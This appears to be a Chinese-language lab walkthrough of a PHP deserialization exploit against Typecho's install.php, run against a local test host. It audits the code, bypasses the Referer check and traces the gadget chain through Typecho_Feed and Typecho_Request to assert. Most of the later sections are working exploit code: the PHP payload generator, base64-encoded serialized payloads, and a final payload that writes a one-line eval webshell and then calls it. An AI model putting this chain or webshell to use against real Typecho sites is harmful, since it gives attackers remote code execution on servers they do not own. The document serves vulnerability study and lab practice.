目录
1、首先发现config能被反序列化说明config是一个对象,其次config有两个属性adapter和prefix说明,config是一个数组
一、代码审计.
(1)将源代码放入审计代码的程序中
(2)这里要明确目标,我们是想要找反序列化的漏洞
因此这里全局搜索需要搜索:unserialize(
(3)查找可控变量(漏洞注入点)
ID=1
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
这里发现config变量不需要经过任何校验,因此config变量有可能可控
继续定位搜索get参数
这里确实不需要经过任何校验,这个函数的意思就是获取cookie或者post里面的$key并赋值给$value,并且$value不能是数组,否则会被置空,说明这里的确没有对反序列化后的内容进行校验
(4)构造payload
往上查找发现
<?php if (isset($_GET['finish'])) : ?>
这句代码的意思是查看参数finish是否存在,如果存在则执行下面的操作
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
意思是查看/config.inc.php是否存在于typecho根目录下如果不存在根目录下则执行下面操作
这里我们输入finish进行尝试
www.typecho2-master.com/install.php?finish=1
发现没有回显,说明是被什么校验给挡住了传参
继续审计代码
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
这段 PHP 代码执行了几个条件检查,并在满足特定条件时执行 exit 函数。让我们逐一分析这些条件:
1、!isset($_GET['finish']): 这检查是否设置了名为 'finish' 的 GET 参数。如果该参数不存在(即 isset($_GET['finish']) 返回 false),则该条件为真。
2、file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php'): 这检查 Typecho 的配置文件 config.inc.php 是否存在于 Typecho 的根目录下。如果存在,该条件为真。
3、empty($_SESSION['typecho']): 这检查 'typecho' 会话是否为空。如果会话中没有与 'typecho' 相关的数据,该条件为真。
这三个条件都必须为真,代码才会执行 exit 函数。换句话说,只有当 'finish' GET 参数未设置、Typecho 的配置文件存在且 'typecho' 会话为空时,脚本才会停止执行并退出。
简单来说,这段代码似乎是在检查一些初始设置或安全条件是否满足,如果不满足,则终止脚本的进一步执行。
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
这段 PHP 代码执行了几个条件检查,并在某些条件下执行 exit 函数来终止脚本的进一步执行。以下是这段代码的逐行解释:
1、if (!empty($_GET) || !empty($_POST)) {: 检查 $_GET 和 $_POST 是否都不为空。如果至少其中一个不为空(即有 GET 或 POST 参数),则进入该 if 语句。
2、if (empty($_SERVER['HTTP_REFERER'])) {: 检查 $_SERVER['HTTP_REFERER'] 是否为空。这通常用来检查用户是否从一个页面跳转至此页面。如果为空,则进入该 if 语句。
3、exit;: 如果上述两个条件都满足(即有 GET/POST 参数且没有 HTTP REFERER),则终止脚本的进一步执行。
4、$parts = parse_url($_SERVER['HTTP_REFERER']);: 使用 parse_url 函数解析 HTTP REFERER 的 URL,并将结果存储在 $parts 变量中。
5、if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {: 检查 $parts 是否包含端口,且端口是否不等于 80,且当前环境不是 App Engine。如果满足这些条件,则进入该 if 语句。
6、$parts['host'] = "{$parts['host']}:{$parts['port']}";: 如果上述条件满足,则更新 $parts['host'],将端口添加到主机名后面。
7、if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {: 检查 $parts['host'] 是否为空,或者当前页面的主机名 ($_SERVER['HTTP_HOST']) 是否与 $parts['host'] 不匹配。如果满足这些条件,则进入该 if 语句。
8、exit;: 如果上述条件满足,则终止脚本的进一步执行。
简而言之,这段代码检查 GET/POST 参数的存在,以及 HTTP REFERER 的存在和主机名的匹配性。如果不满足这些条件,则脚本终止。也就是如果referer为空,或者这个referer不等于本站的referer,那么结束整个语句。
那么这里需要用到burp去构造请求包,去进行referer传参
抓到包之后添加rferer
referer:http://www.typecho2-master.com:8080/install.php
执行后发现
有回显,证明成功绕过了校验
绕过校验之后怎么才能执行上面的漏洞代码呢,这里就需要查找魔术方法
(5)查找魔术方法
这里查找delete函数
public static function delete($key)
{
$key = self::$_prefix . $key;
if (!isset($_COOKIE[$key])) {
return;
}
setcookie($key, '', time() - 2592000, self::$_path);
unset($_COOKIE[$key]);
}
这段 PHP 代码定义了一个名为 delete 的静态方法,该方法的目的是删除一个指定的 cookie。以下是代码的逐行解释:
1、public static function delete($key): 定义一个公开的静态方法 delete,它接受一个参数 $key。
2、$key = self::$_prefix . $key;: 将 $key 与 self::$_prefix 进行拼接。这可能是一个前缀,用于为 cookie 命名或为其提供一个基础名称。
3、if (!isset($_COOKIE[$key])) {: 检查 $key 是否存在于 $_COOKIE 数组中。如果不存在,则进入该 if 语句。
4、return;: 如果 $key 不存在于 $_COOKIE 中,则直接返回,不执行后续代码。
5、setcookie($key, '', time() - 2592000, self::$_path);: 使用 setcookie 函数设置一个 cookie。该 cookie 的名称是 $key,值是空字符串(即没有值),过期时间是当前时间减去 2592000 秒(即一个月前),路径是 self::$_path。
6、unset($_COOKIE[$key]);: 从 $_COOKIE 数组中删除 $key 对应的项。
总结:这段代码的主要目的是删除一个 cookie。如果给定的 $key 不存在于 $_COOKIE 中,则不执行任何操作。如果存在,则首先使用 setcookie 设置一个过期时间为一个月前的 cookie,然后从 $_COOKIE 中删除该项。这种方法的主要目的是确保 $key 不再存在,并释放与它相关的任何资源。
查找Typecho_Db
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
这段代码是 PHP 中的一个构造函数(__construct),它属于一个类,主要用于初始化该类的对象。以下是对这段代码的逐行解释:
1、public function __construct($adapterName, $prefix = 'typecho_'): 这是构造函数的定义,它接受两个参数:$adapterName 和 $prefix。其中,$prefix 有一个默认值 'typecho_'。
2、{: 构造函数的开始。
3、/** 获取适配器名称 */: 这是一个多行注释,描述了接下来的代码功能,即获取适配器名称。
4、$this->_adapterName = $adapterName;: 将传入的 $adapterName 赋值给类的私有属性 _adapterName。
5、/** 数据库适配器 */: 又是一个多行注释,描述了接下来的代码功能,即与数据库相关的适配器。
6、$adapterName = 'Typecho_Db_Adapter_' . $adapterName;: 根据传入的 $adapterName 生成完整的适配器名称,并赋值给 $adapterName。在$adapertName这个变量的前面加上一些字符串。
7、if (!call_user_func(array($adapterName, 'isAvailable'))) {: 使用 call_user_func 函数调用 $adapterName 类的 isAvailable 方法,检查该适配器是否可用。
8、throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");: 如果适配器不可用,则抛出一个异常,说明适配器不可用。
9、$this->_prefix = $prefix;: 将传入的 $prefix 赋值给类的私有属性 _prefix。
10、/** 初始化内部变量 */: 多行注释,描述接下来的代码功能,即初始化内部变量。
11、$this->_pool = array();: 初始化一个空的池数组。
12、$this->_connectedPool = array();: 初始化一个空的已连接池数组。
13、$this->_config = array();: 初始化一个空的配置数组。
14、//实例化适配器对象: 单行注释,表示接下来的代码功能是实例化适配器对象。
15、$this->_adapter = new $adapterName();: 创建一个新的 $adapterName 类的实例,并赋值给类的私有属性 _adapter。
总结:这个构造函数主要用于初始化一个与数据库相关的类。它首先获取和验证适配器名称,然后初始化一些内部变量,并最后实例化适配器的对象。
这里通过第6点可以知道,adapertName是对象时,前面加入了字符串之后那么这里adapertName就变成了字符串,这里便可以联想到魔术方法中的__toString方法。
(6)代码审计__toString方法
(7)代码审计__get方法
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
这两行代码的意思时如果$value不是数组并且长度大于0,$value就等于它本身
返回$this->_applyFilter($value);
(8)定位追踪_applyFilter()
$value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
这句代码的意思时判断$valu是否为数组,如果为数组执行array_map($filter, $value)如果不是call_user_func($filter, $value
array_map — 为数组的每个元素应用回调函数
call_user_func — 把第一个参数作为回调函数调用
因此这里我们便找到漏洞可以通过array_map(“:assert”,”array(phpinfo())”)
call_user_func(“assert”,”phpinfo()”)
二、构造payload
1、首先发现config能被反序列化说明config是一个对象,其次config有两个属性adapter和prefix说明,config是一个数组
因此config可以写为
$config=[
adapter=aaaa;
prefix=aaaaa;
]
由于上面代码审计的时候发现
而在审计代码的时候我们为了使之出现漏洞,因此$adapterName必须是一个对象
因此config应该变为
$config=[
adapter=一个对象;
prefix=aaaaa;
]
2、toString方法在哪里
因为toString方法存在于Typecho_Feed这个类里面,因此我们构造payload时需要构造一个Typecho_Feed类
<?php
class Typecho_Feed{
}
3、
由于只有当else if (self::RSS2 == $this->_type)这个语句成立时才会执行else if里面的语句,所以这里_type=RSS2 ,且版本要为2.0
因此这里payload应构造为
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
public function __construct(){
$this->_type='RSS 2.0';
}
}
4、
这里的_items和item均为数组
因此
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
}
}
5、查找item存在那些属性
把 _items 数组里面的第一个元素给 $item 数组
因此
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => 这里给什么?
);
}
}
6、因为这里我们想要调用 __get 方法,并且Request.php中定义了 __get 方法,Request.php中的__get 方法属于 Typecho_Request类,因此这里'author'应该时一个对象,这个对象调用了Typecho_Request类里面的get方法所以说
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' =>new Typecho_Request()
);
}
· }
class Typecho_Request{
}
7、
在这里定义了_params是一个数组
这里就是通过switch...case判断_params中是否存在$key如果存在则将值赋值给$vale
因此
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 什么什么
);
}
8、
这里_filter 也是一个数组
全文追踪查到
private $_filter = array();
因此
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' =>什么什么;
private $_filter = array(
);
}
由于我们是要获取webshell,因此
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'phpinfo();'
);
private $_filter = array(
'assert'
);
}
9、
由于$config是一个数组,数组里面 adapter 是一个对象
结合
$config=[
adapter=>一个对象;
prefix=>aaaaa;
]
得到
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'phpinfo();'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
10、
将$config序列化,然后base64编码后得到
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'phpinfo();'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data
这里为什么要base64编码呢
继续代码审计发现
这里$config是被base64编码后再被序列化得到的结果
三、测试payload
1、进入靶场
www.typecho2-master.com/install.php?finish=1213212
注意这里需要打开referer
2、抓包
打开了referer这里就可以看见referer就不用自己添加了
3、运行构造的payload
结果为:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxMDoicGhwaW5mbygpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30
将代码复制粘贴进来后出现500报错,说明已经绕过但是被某些函数阻碍了
审核代码发现
ob_start — 打开输出控制缓冲此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(消息头除外),相反需要输出的内容被存储在内部缓冲区中。
因此我们只需要在'screenName' => 'die(phpinfo());'加入一个die函数就行了
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'die(phpinfo());'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;
运行后的结果为
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxNToiZGllKHBocGluZm8oKSk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
重新复制粘贴后得到
证明获取到了webshell
放包后得到
四、重新构造写入一句话木马的payload
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'die(file_put_contents("shell.php","<?php eval($_REQUEST[6]) ?>"));'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;
注意:
<?php eval(\$_REQUEST(6)) ?>
这里为了防止被转译需要在eval里面加入”\”
运行后得到的值为
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2ODoiZGllKGZpbGVfcHV0X2NvbnRlbnRzKCJzaGVsbC5waHAiLCI8P3BocCBldmFsKFwkX1JFUVVFU1RbNl0pOyA
五、继续验证结果
1、抓包
2、将值复制粘贴
3、放包
4、最终结果
检查源代码发现出现shell.php
查看发现一句话木马已经被成功写入
输入www.typecho2-master.com/shell.php?6=phpinfo();
因此成功获取webshell